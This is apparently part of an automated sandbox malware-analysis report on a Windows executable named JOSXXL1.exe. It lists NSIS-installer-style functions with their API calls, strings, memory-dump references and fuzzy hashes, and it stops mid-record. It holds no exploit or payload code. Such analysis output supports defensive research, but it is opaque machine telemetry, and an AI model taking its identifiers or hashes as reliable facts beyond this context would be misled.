API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: c17071a172e6611300c6e5c6d8e6fb9818479fdaec624330b34eaa9cfd7f242d
Instruction ID: f14c02afffa7b7907a5fd564506058e77daa58a1031cefc6daed455ed9e34e83
Opcode Fuzzy Hash: c17071a172e6611300c6e5c6d8e6fb9818479fdaec624330b34eaa9cfd7f242d
Instruction Fuzzy Hash: FC216F72800118BBCF216FA5CE49D9E7E79EF09324F24423AF550762E0CB795E41DB98

Function 00404A9E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B3F
wsprintfW.USER32 ref: 00404B48
SetDlgItemTextW.USER32(?,00423748), ref: 00404B5B

Strings

H7B, xrefs: 00404B31
%u.%u%s%s, xrefs: 00404B29

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$H7B
API String ID: 3540041739-107966168
Opcode ID: 2c37dc16e7f305192eed0ac62bbfad02487635509ea4f811ded0739848cee536
Instruction ID: bb4960df2745a4ac69d0d477934f6cb15a160bb02a324f12832b476a5784c287
Opcode Fuzzy Hash: 2c37dc16e7f305192eed0ac62bbfad02487635509ea4f811ded0739848cee536
Instruction Fuzzy Hash: 3611D873A441283BEB10656D9C45F9E329CDB81334F254237FA26F61D1E979D82146EC

Function 00402537 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nstA69B.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000400,?,?,00000021), ref: 00402583
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nstA69B.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000400,?,?,00000021), ref: 0040258E

Strings

C:\Users\user\AppData\Local\Temp\nstA69B.tmp, xrefs: 0040257C
C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll, xrefs: 00402552, 00402575, 00402589, 004025D5

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nstA69B.tmp$C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll
API String ID: 3109718747-3777108490
Opcode ID: 3ab53c3933776d76c7f2c2ac7c1e0b1a1d8adc62f327ac9952a723d0079f359d
Instruction ID: 3fd77634d05d68e607a2feda7018aaef600362da1068c31595f6dded202503df
Opcode Fuzzy Hash: 3ab53c3933776d76c7f2c2ac7c1e0b1a1d8adc62f327ac9952a723d0079f359d
Instruction Fuzzy Hash: 33112772A01204BBDB10AFB18F4AA9F32669F54344F20403BF402F61C1DAFC8E91566E

Function 100018A9 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001908
GlobalFree.KERNEL32(?), ref: 10001A93
GlobalFree.KERNEL32(?), ref: 10001A98

Memory Dump Source

Source File: 00000000.00000002.2337909771.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2337832913.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2337963642.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2338036438.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_JOSXXL1.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction ID: 56de187798276af1e94fdae5c91d23c4da0ac5596926d43ddda2a484f8c4ba85
Opcode Fuzzy Hash: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction Fuzzy Hash: 82511336E06115ABFB14DFA488908EEBBF5FF863D0F16406AE801B315DD6706F809792

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.2337909771.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2337832913.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2337963642.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2338036438.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_JOSXXL1.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 7b3c78611eb50acad670062cf6797ddfdf95dba70f5aba5ea4f5b4857e7d98af
Instruction ID: 2dd82fd711e3e4b5423ea32521429725dc25e45d8003ad5609f7a78d81fa071f
Opcode Fuzzy Hash: 7b3c78611eb50acad670062cf6797ddfdf95dba70f5aba5ea4f5b4857e7d98af
Instruction Fuzzy Hash: A7F0E172600504AFDB01DBE4DE88CEEBBBDEB48311B104476F541F51A1CA759D418B38

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 11d4d904bb71dbb966a0ad9f723e74c8a428a9d9267570d3682b579917bfb7b7
Instruction ID: 8c23cbaaf3363c844559deeab64a920cb4d6fb7c8214554dffc13efcda3ce685
Opcode Fuzzy Hash: 11d4d904bb71dbb966a0ad9f723e74c8a428a9d9267570d3682b579917bfb7b7
Instruction Fuzzy Hash: FF219271940105BEEF01AFB4CE4AABE7B75EB44344F10403EF641B61D1D6B89A40D769

Function 00406050 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,004062C3,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 0040607A
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,004062C3,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 0040609B
RegCloseKey.ADVAPI32(?,?,004062C3,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 004060BE

Strings

Call, xrefs: 00406053

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: dd2034eab93442e05d5faf4c8c2bb259ab57cbcddbd304a2a07cf8a1e20057b8
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: 00015A3119020AEACF21CF26ED08EDB3BACEF44350F01403AF945D2260D735D968CBA6

Function 00405BE2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,00425F50,Error writing temporary file. Make sure your temp folder is valid.,00405C56,00425F50,00425F50,74DF3420,?,74DF2EE0,00405994,?,74DF3420,74DF2EE0,"C:\Users\user\Desktop\JOSXXL1.exe"), ref: 00405BF0
CharNextW.USER32(00000000), ref: 00405BF5
CharNextW.USER32(00000000), ref: 00405C0D

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 00405BE2

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CharNext
String ID: Error writing temporary file. Make sure your temp folder is valid.
API String ID: 3213498283-4064111799
Opcode ID: f220efeea37ee359dd6515a544f61222e30bb784142ca8a223f370c395045e43
Instruction ID: 8ad88def47e2d38867cf9e91343d20e41dbac1805b4d4da5c0653217526e5d7e
Opcode Fuzzy Hash: f220efeea37ee359dd6515a544f61222e30bb784142ca8a223f370c395045e43
Instruction Fuzzy Hash: 2FF06261918F1D56EB317A584C55A7756B8EB96350B04843BD741B71C0D3BC48818EE9

Function 00405B37 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004033A3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035E2), ref: 00405B3D
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004033A3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035E2), ref: 00405B47
lstrcatW.KERNEL32(?,0040A014), ref: 00405B59

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B37

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction ID: 377234fc647d40db67a969affeec1c2d2c00c7240f2da489af686c3f2ce23dc9
Opcode Fuzzy Hash: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction Fuzzy Hash: E1D05E711019246AC1117B448D04DDB63ACAE45300341046EF202B70A6C778695286FD

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004052E2: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 0040531A
Part of subcall function 004052E2: lstrlenW.KERNEL32(00402E19,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 0040532A
Part of subcall function 004052E2: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00402E19,00402E19,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000), ref: 0040533D
Part of subcall function 004052E2: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll), ref: 0040534F
Part of subcall function 004052E2: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405375
Part of subcall function 004052E2: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538F
Part of subcall function 004052E2: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040539D

Part of subcall function 00405863: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426750,Error launching installer), ref: 0040588C
Part of subcall function 00405863: CloseHandle.KERNEL32(0040A230), ref: 00405899

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 96e303a2e1a9cb485544aac6f60866d861ea88a023a06f5ccfe1ffd58367aca0
Instruction ID: 6eadcb4e995b32aeec71f8dd92363e70dac4c12fa3ca33f02f681fc447c81ee3
Opcode Fuzzy Hash: 96e303a2e1a9cb485544aac6f60866d861ea88a023a06f5ccfe1ffd58367aca0
Instruction Fuzzy Hash: AE11C831900508EBCF21AFA1CD8499E7B76EF44314F24407BF501B61E1D7798A92DB9D

Function 004038DA Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(000002BC,C:\Users\user\AppData\Local\Temp\,0040370C,?), ref: 004038EC
CloseHandle.KERNEL32(000002B4,C:\Users\user\AppData\Local\Temp\,0040370C,?), ref: 00403900

Strings

C:\Users\user\AppData\Local\Temp\nstA69B.tmp, xrefs: 00403910
C:\Users\user\AppData\Local\Temp\, xrefs: 004038DF

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nstA69B.tmp
API String ID: 2962429428-3809703559
Opcode ID: 818760232e500ac014ecc4659e20c47a416318d98e4cd696d1546b419abd0e17
Instruction ID: de49926bb72e77a98f9c5ce19ed8b4a608a10c25b77e0dec4f49a46a5066bf07
Opcode Fuzzy Hash: 818760232e500ac014ecc4659e20c47a416318d98e4cd696d1546b419abd0e17
Instruction Fuzzy Hash: E2E086B140071896C5246F7CAD4D9953A185F453357244326F078F60F0C7789A675A99

Function 00405256 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405285
CallWindowProcW.USER32(?,?,?,?), ref: 004052D6

Part of subcall function 00404293: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004042A5

Strings

, xrefs: 00405266

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 56cab98530d4ff4408cd9c369303e271687e5fa7c90705031ed2c8dc290fa65f
